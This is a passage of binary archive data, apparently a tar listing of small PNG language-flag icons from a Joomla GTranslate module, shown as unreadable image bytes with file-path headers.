~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�mod_gtranslate/tmpl/lang/24/da.png000060400000001123150746170550012766 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���jA�5�bV=xA��kx���!�%�(�!��&�;������5����e���LU�W]]_w���M�ز��L�qL	@連����������n��������e�}�69��V��OSL,�*�-E���T����WDzv���`��[XQvF7a�ؾ�}�NQB�p<ZhQ$-c�}'w��>`�[.���w~.CC t��yZ@�(��k4��˴8�aê*.�G/r쯚Z�U�x%P�G|����kV@�fv�y�;��Ml�����|}�)K�k��}��ӿ<}>���a�1��~ҡ�cuԆ��ͰĀvއ���� u/�;"Q����P
�.�3|$���F@�u=)Bvx�F"����x ��l>��t6��7��in�<^G&�s�4o�{�8��������g4f���ӗ>IEND�B`�mod_gtranslate/tmpl/lang/24/nl.png000060400000000725150746170550013022 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��J�@��I�V��(���ų ��_ʗ��y��-m�43�ik�q�s�&��f�g���gd�9�@�Y#C�2����/Ƀ�p��|���d�w����w�A��
U�
G,e)"l�TD~�l��淛y٠U	�MԊ�
�(WI��w<��_yE	���ZcE�E�w��6���	>����a�P�Fl������m/&$r}��@���B���f���No�p2�JC�w;9�����<�X؟�|
�j�)�T���4Gx�0���T`�"��L[M辠�t�e�ө1
��@�n��`�O�U�;A�Y#��r����{ܒ�o)6��IEND�B`�mod_gtranslate/tmpl/lang/24/yo.png000060400000001006150746170550013031 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ͑�0�?��%��
�B
4��5@�*`��
�f��r��Il�pI��jwЎs�<�>}~ϲ���s̈9�.@f���kg�K���lbS���ջ[Wy���>�~�8gM�<��N�y���W��$Q���e��8���o��G��2>{�����l�M�UgPbN������Ei��������G�&���u����&��2U���U�VJL���if�ݰ��3X�3�#���
��.�u�����ؼ�2'�� �cnՂ#��~x_"��	̔�>�@�j���U@�H`�����M�	�v��Sb��M������jA�qmӬ�h�#��_��z�X�*�#��9��'�|�s	�:ڽC�&��ߟ*~
9_�9��fIEND�B`�mod_gtranslate/tmpl/lang/24/sl.png000060400000001332150746170550013022 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F`IDATx�엻kQ��{wv׍��V�h0(ha�66�����b'b�M���UD�:QQ| ��R�D,4f�}��DZp7�0I�u��43sg�|s~�8W��̀�?�@�y�3������ڦ��*0���T�����C�ҷ"˅*;Ƈ�̏�I��U���t���e떈���i�6��'!;�����J��bcc=?�C��2��9׮@�$j�Anb
�P|Z\b�7@|����M>��V7�=�o�z����!"�9}����q��6�t(��W)l�)W"ʕ� ��7���3�͏�Rl0�+�ѩ1n>�Ҵ0�3h���ܳ����S�F���!��E��y��c��›�|x����I�_7�F��YOd}Ojƴ�5<��	g�?��P��}�������=����=�E��`��<3���C��/��4���gq��}�K�s���+��?[�9���[�Y5
��V�r�J ��i<�X�x�|��E��T
�5�-o-A�mv�A�Y�}[蘢�S8�A�ؒ�T7�A��:iV@g��K��R)�Y��mN9�0�<����C����(����A��#*��vIEND�B`�mod_gtranslate/tmpl/lang/24/jw.png000060400000000624150746170550013027 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�ܖ=N1���q R�	��kPp?
.�8�
d71!���	I�-�4��Ҍ�yO�IbH4��
p�W�����6U���ӵ��4L�慠o^^�p9%�n��I�����?��7��%9g�"y����P�P?�xzn��!4>C1B09E���W�9�b�(&Ҫ#��:����_�����:֐�ao�B@˖ܶ՚�d0�ޫ6���
PJ�*�fs\õP4��	N�A��b��&0n����[y��KWWD���?���P�7�nIEND�B`�mod_gtranslate/tmpl/lang/24/ne.png000060400000001775150746170550013021 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڴ�]lSe��~���Y�]L �AK 8CBB�]�F
^��I&Z�F�+���]ֹa1D�`�D%�7.���а�G(��9�mm�W���6��9��?99�<��?^I����B��	�5}�ɇ��W�B�NW�N&���^����d�{�ⅶ�@7�l<�X�yi Q�v��5�=�,��i&���)�Km��E�����s
���ͧf3�����U�l�#��t���C���{��;.�K}fdT<n�4�
�)7P�����Y�D��L�&x��7��%�W�׏g�������Gq�nc�_=�uxWw]z�J�y���P͚��(sS��!iG'�ã�Z>FMa��lM]�����������>�+زy��H��,IҢ�O}�:~]���N+��A;a��񩷌�%�~��5�vw���8�m:�n��� �H�M�8�\���[��`s�5/���` Xy	�cX}�d%[䇄D��s:��V��#+6{���"�i��pDN,NN��y-*�l�_���lC��rb�T���n���XW��ql_��
s�` -�0g_v���vS��]�͸�x
��A���3�_\Q���$��	���nQie���>�H�B��X�a1x�(^&�~�9���P8�������ƶt�_�����Y�,C���Үk;7V�?(sRi�S���V2���,AD����خ�[oE2��Tc��5�������)�h�l�D�%��
�=
L�~�A��E�DFE3;�v�%x�Y��u���g{o�L�浨P�x-�0�Fƿ
�0��KdqK&mj'ˣWvVU�Lw%�����H����!!D6���y`[�0�'0 ��;��p�S�	��̤����U��p�IEND�B`�mod_gtranslate/tmpl/lang/24/tg.png000060400000001070150746170550013015 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�n�@�������& Q�D��RAEK��+�:t<o@�����!D �6g�ٰ �.��fF3��6����˲�vN`�@�*�>z��X?���ϟ^�@a�cr���ͫ7�|jt]�gKPc��>�9��ئ��}��-��ݜ�u��H�k�����g���:MU���ϊ��}��
�%h	�-0����b~a� ��.I��5.;��5'��,���J�Z�����~z��-�k|~dI�N�~�����M�p���M�Q���zDd���H���=h$���H�G��	�"�����;�;��3Bq���!���d�fH�E("��B�	�x7�y�<y�?�T���@�-"�CI�(�$�"PAqdn6�VD�hd����oZ�ׁ���_67Z��kĊ@m�������-��,�IEND�B`�mod_gtranslate/tmpl/lang/24/sk.png000060400000001656150746170550013032 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F4IDATx��M�E��]�3ff�YB�ٕO"^#�zu/�p�уBBL�Q�!�������H�^�0�!��
������LwU�󰝙�|hF���>(��x�~����0J���(�r�u;-b
�D�>��W���#����T��9��[��Aqn��H�Y\��J%�;F�qHS����L^����Q�^:�
�J1� ֢�����1��}3��]c�͸��N��N�&�y��1i�Ξ�G���xe��9C��Ug�"qL{Ð��IV۸�?x��7t3_���u'��h"�$	^�@saWoP��j�̣��B��1lt̀�Mg�K#��5�:ZQ�1npi��J%ʧO�޽��NR>����o����i{Kl��y}k�(������u~?x��WT/_f�אB�G>���w���x1ׯ6����9hm��Àc���˻�� ��i���y���c�~�֧��H?y1|[<���)a���eng�I�������MW�Ee����19���$���Oޟy�+o�)rA�ٍ5P�}�Ͽ�i��H2@(>�1}��:G �$��|q�$�?�g�O9ue���N�	.�Wa��<�.���!V
W�Ub<����V@kD�u ��Pݺ���2�1��8�B���E�p��C�Z�4ݭ�@�<L!� ���������7o�j�Qa����S�P�Q_C:k-�v-Kb��.���OE��4�d�
�m��
�:��ln��ޛT�����,�V��U&J�#�1�R;?���{GM��z��IEND�B`�mod_gtranslate/tmpl/lang/24/ny.png000060400000001151150746170550013031 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<IDATx��V��1=�ؓ�Y�
� ł�OD�Zz~�O�H��f����E4���$��8���eŤ�FG�s=�ܧ'"��c�đ���PD���6�M4~:�L~eYvЋ!�HfhX�2x,���0L��a$H)1���ix�i~�4���a|s����fqDe�E�4(�a�q��R���(*�(��'�8��=�~X�:��@�ٳ�9�O�*�9��b�Ю����q�4^���F�Px�,��.���4��v׹�5&}O������Sk4�dD�.1��=&��5
kvt�~G�o	�>x�{B��|7������N!�>'i�>�� _^��h��t	�\m#p$����h�<�3������y'�Z�"Ţx��s>�Jn	�upE�M_�y���P����G�bG\�_ρw^2���к����Z����[s`�����᷆��]${���]��H)�<Q�NRo��]��e8�\�}c��G��������IW��Ј��_�oK���db�eIEND�B`�mod_gtranslate/tmpl/lang/24/mg.png000060400000000671150746170550013014 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F?IDATx�Ԗ=N�@��5baD�A�\"���
4t��P��?B�GAN��I
���o�����Y'�}FĞc��@4v�{L<p,�m�۹��p~w{恤_]�J>y|H<�%����+L���cl�3�~�F0�8�S����8Di
s�)��F��#�Q���:�A����y��aua�Y9���j�%�\wڕ	Z̈́���p�7Aѿ����4X�ոmS.�r%2j(PӖ
4w3gm�P��@���FX�"�#W�A�_�g��z���`��Lp@�Nw<pށ��Dk.ʵ�H�O��__p�l�*��IEND�B`�mod_gtranslate/tmpl/lang/24/sw.png000060400000001733150746170550013042 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FaIDATx�ԖMhTW�w��31&"�R֑�Q�6cZ����E(:�`��UM�n*���)
�Z
�v�P�6����ֈ��5���X��Ǜ���GO33��d�ws�9������+�1̦�e�uX�\ 4��������w��у�J��,;�1z9�ǟ��Ś����Z��g�>����45�y�n�K��s��k.���`)�)(I���`�^��~^
�ÊWǩw�p��0<�c|��(����d)/���Z$�0C��Qn���L�>⭄��S~�QJ�u�d�!�F�W�Y_5��g�W�,���Zp��G�@*E�sȸN��#-W�y{��oN�A��x%�c���w �5r�X�},�@KR�T	�F��A�[6F����]�Ͼ�+�_{�H����V�9����+xJ��r�]��� ��2L379�G����5հ��?��Ź:���R�D ��$�,i7DlA���A�cl�e��O%x��>"�6�L�8�T"w`R�\"s(��#oi7@b�-v����d8x�7jG'tvV��/��&)��H�q�*����'�~�
Od��HH~�P	������l�"���]a�����{)
4�˩M���^'��������6MߙM��б�+����rh��ڔ-�4�'��]����N�
�->�[���}�%zX�e^�=Jm�LI��C#�u�El%�tC�&���5;W|��*e�+��mO)��:��p��6�x������
��x���ojU�`_��u�"����Ł%`��G�	���8I`�D�O��
����oq���w\�IEND�B`�mod_gtranslate/tmpl/lang/24/gd.png000060400000002210150746170550012772 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ[lTU��=眙-ҙV`��4�P.�
�&��V�F%^���py ���b��^1^/��`+��J
m�az�����Lg�̜}�a�iEc�������ֿ�:B)ŭ4��n9�t����m�*��Y�r�T'G�A:.���74�	A}�|��W����/��R�w±w8ũ��F�h�!�?+�p�KI�Ɇ�A�s
&�#����ӑ�Yf� +]�k��̥l�b�!ȯY���<�[>���AL�䫣c��R�s����zu�w��@9s&�x�DZ��$��$����Jn󱵾�kLo덳�0�`���x�x��E<���@�����j\Ɖ�~�i�&�q0
�ZHCu�>)��d�Cg�h�D��$�%�u8���OmClް���r���5!V��8p��l���%��i�8{y��'�`h$MI`&���tI�l,ǥg(�K���~�5�5,%T<3��9��D�)
�Y�}���-����<$R6R:��t��m�i;��ۦ�\�ن2��]�`���x�H;��^SG8��AxYg
A�q�JKf�YK�KXĬJt(f�ٟ ��s�E)Ss��ȖH<���vNơvM��O�f������xb�7�S�z>/|r�����&��B*9ًlGḊTҦЫ����z�v���$�����{O����gqxϽ��}-��T��q����PTP��L�jB|�sV���t����h�!20ơ�1�:���<9ǪE~�s5���{������^���ȋO�e��_��|�܏����C#��$�T��-�T-�O��uS7/�D�;��
 ���H���C�vx�h;��he4�Ŝ��m�-KR8�`�#��|���)�|���9�����ߟ���H�=5s��At�@����`�mV--a��5T��zQ4J (�����>[��?��':H[��Q�C�`�LHZVF��jl�+cWc�W���8$��B��&��31�|5qM��s�籁�uHqIEND�B`�mod_gtranslate/tmpl/lang/24/mi.png000060400000001710150746170550013011 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FNIDATx�Ԗ�k\U��s��Lf��f2�4��dl��&��A���Rlp�@7"h)����(
�M�-q���(�T҄ڙ6i2���ܙ{�9.�#��0�d�9p�s��u�֚�4�}�}�|�g�};�m�[?�NN>Ϭ��'����d?������Z��1��/r��8W>��0=}��>^���b"��t
��@)���Q���`n�~Yfbb�#�o�X����=�D|�zk˸���:=k	"�Q���d���&_��A���4�}~<*HV35�p؏������S��Y���0,/���@4Q����>�z���ؠ�S>Y����*����u4���sc���K*i�^���7����}��A��as�a�?��P{.�\�H�TC`z�fu��k+\�0�h���
�#���2��EE�8a<a��C��h��
��VT����J���M�
Gn��g�'9S^櫫�\�!��<]v���o�s�o�����/Q(�D}��gM�e�B�B�Tes�ʐ��@��.ו�>����|��
9;�h���������'Y<�-���¥�@��Lf��:|�V$���ί�}�%f5����b+���Ju6��]��_���u�I)q]���PJth�t�Bm��8�=�R��G�?H>W�EѨ ���Z�:G*N�C�2Y��s�Q��l�H"��5@I���S�2���}�	R��F�Rb���nO�ru�l��c��ﴆ�Y����Y�ޠ�@k�p��HYj�fF��"A��Ke��-v3�B�3@x�NH67��)��T��W���ދ��IEND�B`�mod_gtranslate/tmpl/lang/24/mn.png000060400000001232150746170550013015 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F IDATx�Ԗ�n�@������(DE�A
5o@�;@� *
J(i�x�� !!H�?!$��ٹ���P8�89ǧHI�6k�g��ov�kgf��J8�u��@h�p�S�|���M��żz��1ˣ�O�|���ͥ�q��s�n����F�Qq�fR ��(�^3�9Ǹ�6G�b��M���O�nL�.���BD��s���ݞ�(�F��6k�0)�R���9�e�[Y�{�;��˲I[��q0 �ޣsG�nJ��Sq0�x�F9H:=—�����g
�����Y{��Z���+Ͽ��$eG��Yx���Oh
��0�(P	�*�o>�%�߄���S4OS�[[��iWH��I���"��Ӿ�ZsFQ�ERU�HX�˦lw=��;>@"�B�C"��!+�idZ~��3�((VQ��4��.����k�N����pҝj���r.w;V�l,ӊ��#9wv"�훯��̰ʠ�(†Hm���kl��]�9�p�/�-`u|����:�%������4�.�_HIEND�B`�mod_gtranslate/tmpl/lang/24/tr.png000060400000001446150746170550013037 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ=OQ��{��ΆE�@!�҄��5vDC�V�~��$�BKeBBBCaCG�Ѩ�"�q��ٹ�bf�0K�I&���{>�w�{F��i�k�k/�ԁx��-�`�97��PI2�
���7
�@k��k��%�nm4`B����D@)AB�֥��T���{�����, ��]�v�X���7n���N�����F��1�T#�#�!ϡ(�&&��%��!���ϟ�����ݽZ�("�/�÷�H�C46���"��$���d�sD��(�JC�K�Z@Ҕ�j1��y�|c���;��Q����F�ڽ{�/_��+X/~�
��D�"i
EA��>�:!��"H��8���#���[[�,-��gD�'P�"�9�? ϑ��b�G
��B@%uB���)
�>8��ҝ�Ҕ��b�#d�����>d��S��(BEb�t޿�~����C'	�j�y�?Qp��02�^^f��F^�&���^YA��LO#i�?>���Y�iP�$��9�T��:����+/^�mn2�����5�߼%�s�j!"�|�F�r�KO�py�}��z��#?_��LM�GF�GG�VU����_7h�*��gq"��h6Q��q�UMr6Aսn4sӉ U���{~�9:��o�F��؀���������9������?��+n0VIEND�B`�mod_gtranslate/tmpl/lang/24/xh.png000060400000001740150746170550013026 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FfIDATx�Ԗ]hU���wfw���h�I+%aiQJ�i��RQL�񥤶 ��P�`ł� ��-��}|}
�`��F���"%��֍�Zk�;�����ܹ>즫B-Ƀ.���{�9��s�5��,�Y`&`����w<��$���[1� ��fp�A�yE����6H	%���M
"�d~��[�[w��8�WE`�'�c�)0�[�S�N�qЦ�������^��H�~����t�d��h��� ڲ�H��>Wgk_��]�Z��zU����&x��Lݳ���n�Ƚ��U���n��6� ���f�Ŏ��ڗ�e�
��邏�}|���8�-�
�^�5q<�.;�������/�_5�彽�gr�K�*��q�/���
������7������ytuu�0��===g:;;)�J���		�&�F4���'��]�0���d���Y�Ya�aH�\�q������L��P�s)��/��Rq`v[��y��2v2iI��T��t+�h^@�v��i����!J)�o0x���%��Sh���H�_��,���(

�61of��î�G�ã!$�+��!C�1x��A�RR��X�ƚ R��\o��p��S����:�t���rM����p�B���w�R�R-^;d0��S�A��E��*�cx�&>�}�����sam�����1�U���ƕT
������H߳������2�U�hME-�ǟ���$e$��16�;��̿�g���?J::2���i
J�K� 0�� ���}�=������;H,K�y��X\d�ᔁ�َ�K�.��@�߿*�.s�b���IEND�B`�mod_gtranslate/tmpl/lang/24/ky.png000060400000001377150746170550013040 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMoE������8	��b�8#!�n�
��������8�(�]�w���a��^s]hi4������z��%"�Ε��u�`t;Ʈ����x�����'s��/�(�MI�䓇;_=9�Y��f��tFD "\�KD  <�`���yZ5���p7�R�~������$b�B���"K��C����#�`]`ܔX,���+���w�r���P�q���TZ�R�	B���|\`�1�X)w�H�0Hw���L�6I䌛n�lF��6V� V�mc����P���������R�ӄ4"��7V����W	�t���S�>�_eP��#�Ny+��Y&R�\Bh��k���N7V�9�X�AN什�
従r`'c��q�ϱ�x3*L+����寜�;�{J�A�J�������c�� l�S��W�m#�VG	�n}�$��ς۟.�sg�$a/A�
���)r�x14ǦX��F��0y����L,�
�w�+�l��M�uPG�73p�i�a��Pͤ��Y�N��]�W�����i��`/@_!����Ƨ�w#�� � 	i��n&]�4Z5U�Y�v�{���{��;_�h��ߵå����O��3�4IN�IEND�B`�mod_gtranslate/tmpl/lang/24/zh-TW.png000060400000001151150746170550013354 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jTA��>}r1�C��".T|7Y��1|0���)ԥ�U@�@aL2s�sNuu��I&Qĉ�YX��M�W�����Xd$,8p@
�K�-�86^�޿� �8�����Ȉ����?��J�u���]4���2wח��Ɓ�|
��;��܇�?��@4R���<��ƓG[��|=:��GEU�D����M���ll��iHS���
�����6ϟnЊ��xHQ$������%,�6Q%��ͱ�N2Z�T�P�>�E1�{�u@JV4����/}���i���9Y)�$X���&Y��d���[e�7\�j|�Q1��t��Df��FÒ�l(ʆ��,��S�����e�/���ΙK@Q�++3���(L�VV4��M�
�#�L�`"D�U�S�])p��.F��5!���(běF#MH�ֺ�a�W�A9�>��&�˞�S�z�.p��3N.'��e�:�4�U���g�0u�IEND�B`�mod_gtranslate/tmpl/lang/24/eo.png000060400000000521150746170550013006 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtSoftwarepaint.net 4.0.12Ck��IDATHK��1
�@E��DZ�|V�,c��[��C�� !�`����auH�	H��2�`f�e�U�R	�J�T⏟q[�6gJ�jѽ;�͡MK�9S6�
�[n�9�i	~H��"��>D|�Qw�n�Oy/��y6f��k��"9%(�¬pA?�V�8X%~dڴ*�P��J%T*�R	�J�TB���քJ%T*�R�-%؝lSfIEND�B`�mod_gtranslate/tmpl/lang/24/hi.png000060400000001275150746170550013012 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/24/az.png000060400000001237150746170550013022 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F%IDATx�Ԗ;oQ����~$~������MEE�(@H4A�P$DACA�(�ej:Q�
�.]��H����xm߹s)b�~�ZL��Ξ�9sfg���UF��c���"����(�{�wE���(��a�N3S��OJ�s��Y�?�O���gL��j� ��xzɐ^bgP��ζq:�9�\E�G���=��Ә�|@��)���'�n�����)��j�K�~|LsL`��t�	���	�Mʻ/�yM��7�H���;L+���4�������|��}N߽%\�S�C��ɇ���q�bť*Cl��v:s&A9i!�T��j�\��m�'��.���ײ�����5�۝!o-խ-6_���'�a� v��@P)����>�r�CK���5+h����K�c̒&;l*�Ý[�BH�&�Lq)W$z�v0j�:����yZ�H?s7�
^'�,N	Pt~p��GKr�:�p�*������Dރ��SaE�V�o�j�u��1��c��
c�2���;!{����IEND�B`�mod_gtranslate/tmpl/lang/24/hr.png000060400000001726150746170550013024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F\IDATx���oE�?�����I(�UѐGT��m8D��'��H=�?�Ρ�J\�z��
�qC�$P
�D���j�64���ݙ���M�e#Q��w��̛���Q"�q��1�+
��to�i�w���ǟ<S��Ϸ�{w�0�,�앥䛥ǝ�7��:nL9@Z�F��|Ge!�9l�MpbR�:�E5XBg,�7���I�����mh��ߏEl[��w��Գ'��:��d��������-����_��o2��ZK,#��8�H�C<oh��C6�y� �S����k�,�w7X��L���9Nζv�7E�Ρ$�X
	��5��ĴZ���֌ןR�)�����2&�G�7x-���A��K�_0�6&N؎��5���4`�����,�_"�U8I���c&�@��윘&_��eƙY�ODz ����N��$�m߼%�׮�k��7o%
'@�9J����5�V3R{��D�@�q��]���ȓ古�|�?_[���ּ���H�D��[�R��Xw�|�w���7V�΀���Jƀ����֘�7B%�u2
T�n�Œ��q��J�5�KkJVx2���iL�
���p:pySu�fN'��w�0��m��c��~�\h�Y��B��]ܷ�n�~��K�� 7ҍw��1[�@�5�cG�:�$d={�����ʷ�Y(,�_��.�ٳ`¡�]��`@�ێ
#���8|�Z�̅��j2)�ұB��Oh��h��	����N���o�E�����"5���jD���PL����@��P�P�}~]�V�)�=��
��zo���8J�z�8=n�T���)�^IEND�B`�mod_gtranslate/tmpl/lang/24/es.png000060400000001551150746170550013016 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kUG�3gNN����CbE14R�v��.�hi���s�K�]���P��"���"�h!R���BD*��hrss��̼.ι�Ǐ�5r���0s�0�<�<��(a'C�ñ@u����O��a�������@Ծ���Ӆ��"�I��5@J��oK�K�6�d��ҿ�k��w=҄$��#���JV/��,9�,�w7��n5���4�됍��T�@�-10y˂n�t�4���@��+��=	Ȁ6�Y$Xk�l��F�IǞ��8�r�H��H�"Z?wA9�9��L\���nJ�,�H���/1S_�~�r�`�bdƱ��Ľ�]��0��q���޵�b��@zd9��1}�,��,�m188N�؏$�1�sW8yР�Mp�U��'���[(d�,��k<��S�.119E�w�]
�{�E��@	BP��i(������l
����
?�q�+$������`�?��HV���-��V)�3��Cl�sI��d�����?E�&�X��]���Llqr�i4̍�Y|TC"Mv�4��/=`X���,`��m0 x_b�{A�"�)�}���s���n���Ơa]���vmy3+��>�^i���O��bHEg��Ո��x�6�3�A�ӊ�;��λ�O&|���'A�	EPP%�
����$(�6���z�w�b�9�'��������xԋ��H���}��4����i�VY#IEND�B`�mod_gtranslate/tmpl/lang/24/kk.png000060400000001566150746170550013022 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�nU�w�?�Ďݦ-i-,*$�fU�*lx�'�Ixl`R�,J��
RJ'i>p��x<����"N<N����HWw1�������r��p�v��@�;	��|�����;�5�'��!���Ӗ�k_>�Ã�Mw�YJ��vN��Q�2H$�a�Q4E [�"8�Pv5K�%�:X����_+��)Fi���� ��j�2�Y���OA/Ze��Ī���=W���X��Ѻ�$'Jkή�tJC���Owz��o�Cw�~�B۫�(��f0N5!���|��Y��V�cs�5Z��c���燷�aZ��BQ�\�9�I\c��9����0��&i�$O��`f�ZC�'�Y���)���a�\P����E��i����0��_������]�؀����8n���aFIv��$'+�@)E��G�`>��U�
�(���c~l�}���>�TQ�2��e�1� ��Ӝ�(�A?.q0np7�fN~�'���ώ2H+l��������^�s�3�ƫc
��%�j��B,���b
�;nb��x�&�eW�䒕�!,oGm����{��E��	*b�2���b.��n����<��7�LX��~�	��{����
ݰɭFʿ���Fb%�u��0(�b��R��kȋ�S>�"|��1�Pf�^���E�bTa��r�F�7Q�zI΂E!�^bx.q�]�-�w��}�u[�H�(\�&`�4�,8�w�h��v-�����_����cSw�IEND�B`�mod_gtranslate/tmpl/lang/24/af.png000060400000001740150746170550012775 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FfIDATx�Ԗ]hU���wfw���h�I+%aiQJ�i��RQL�񥤶 ��P�`ł� ��-��}|}
�`��F���"%��֍�Zk�;�����ܹ>즫B-Ƀ.���{�9��s�5��,�Y`&`����w<��$���[1� ��fp�A�yE����6H	%���M
"�d~��[�[w��8�WE`�'�c�)0�[�S�N�qЦ�������^��H�~����t�d��h��� ڲ�H��>Wgk_��]�Z��zU����&x��Lݳ���n�Ƚ��U���n��6� ���f�Ŏ��ڗ�e�
��邏�}|���8�-�
�^�5q<�.;�������/�_5�彽�gr�K�*��q�/���
������7������ytuu�0��===g:;;)�J���		�&�F4���'��]�0���d���Y�Ya�aH�\�q������L��P�s)��/��Rq`v[��y��2v2iI��T��t+�h^@�v��i����!J)�o0x���%��Sh���H�_��,���(

�61of��î�G�ã!$�+��!C�1x��A�RR��X�ƚ R��\o��p��S����:�t���rM����p�B���w�R�R-^;d0��S�A��E��*�cx�&>�}�����sam�����1�U���ƕT
������H߳������2�U�hME-�ǟ���$e$��16�;��̿�g���?J::2���i
J�K� 0�� ���}�=������;H,K�y��X\d�ᔁ�َ�K�.��@�߿*�.s�b���IEND�B`�mod_gtranslate/tmpl/lang/24/hu.png000060400000000625150746170550013024 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ1NAE��z��F
���[P Z*��U�鐸����fl��&4P�"��H�Ǟ��L��cr�0���	�0��y����~)@b���eQ���@+�X�x�c���o� �_gCC��3p��_�ޛK	���X�a]WF\u�Eg)�g��&眩�<�^EcČS���*�k������/���u;ՌUje*1w�ڎ ���y/��I��D"m3+�?�j��dJ�t�}��N����+�e�h�\%�Ї��U|�̎�ҥ,!IEND�B`�mod_gtranslate/tmpl/lang/24/et.png000060400000000671150746170550013021 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F?IDATx�Ԗ=N1F�7�'	��Ai#q:�=(������4���&��D��c�bY�(���T�������J)1d���S�(���8�z���<?ܕ��no�����L5�c�8	ؕ#%P
H[E�w�������'�H�ZHL�Z�
Yv��bG�Y������ t:@���d>���,��,��m��k�v�w������4M�1&��R
��ཧ�*�����2�7�"Byn���:��c�Y!��3�cR�0�$`Vt�0O�5��Rb�\�o�.�k�2�x|���C�V���g��J��z�IEND�B`�mod_gtranslate/tmpl/lang/24/ur.png000060400000001576150746170550013044 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ͋Uu�?�sϽ�z�m���9ji
i+Q��F �,�(�Ѣ���ZF��E�@HB��Y(�D.Ql
s�Qt��eΜs~/O�s�=�r�@f=��y��|����{�VR<VXV@>P���[��D��P{��(���$/|>>��~�;��(�\��������8z4�(e����*����n7*`�V�:�]�B��(\�"�yi�0�Ih4�d:�S��)�%�1��~�Љ:�ak�޹�-�p��"Dx}x��l㷻�s��ԩ�w,
Кi�XP0	׿ʑ�����Oi>{�8Á��5���Ck�>��JT�u�[��ٴQ»��ųܺ;�:g9s�,E�ę�gi�3`"
���HQ���x`5[_ފG;lc�����UnݾIg�
�(Q$&�w��O(�!�gؾ�
�A�_�& ���k�^���/�WE?�\zD�����ǎ�:��gs�6�p6�1Ɛh��K���8}~�(���_����\�:!N��z�-6�ۄ3	V���\lj6������ �9z����$A1���v�:��Ɇ��x��}�"�Ze�"E����%�l�K�l�E��Oqcj������v32�<�×ߟ�ܕ�P�ÉC�e�h4���y������$`^���<lf�`j��(O�.͠T�ߦA�[%`���V�`m>�ZD����h�3ނ��s��z���j�@}��3��F�C��b�X��*��R�z�p�kIEND�B`�mod_gtranslate/tmpl/lang/24/pa.png000060400000001121150746170550013000 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�mod_gtranslate/tmpl/lang/24/cy.png000060400000002034150746170550013017 0ustar00�PNG


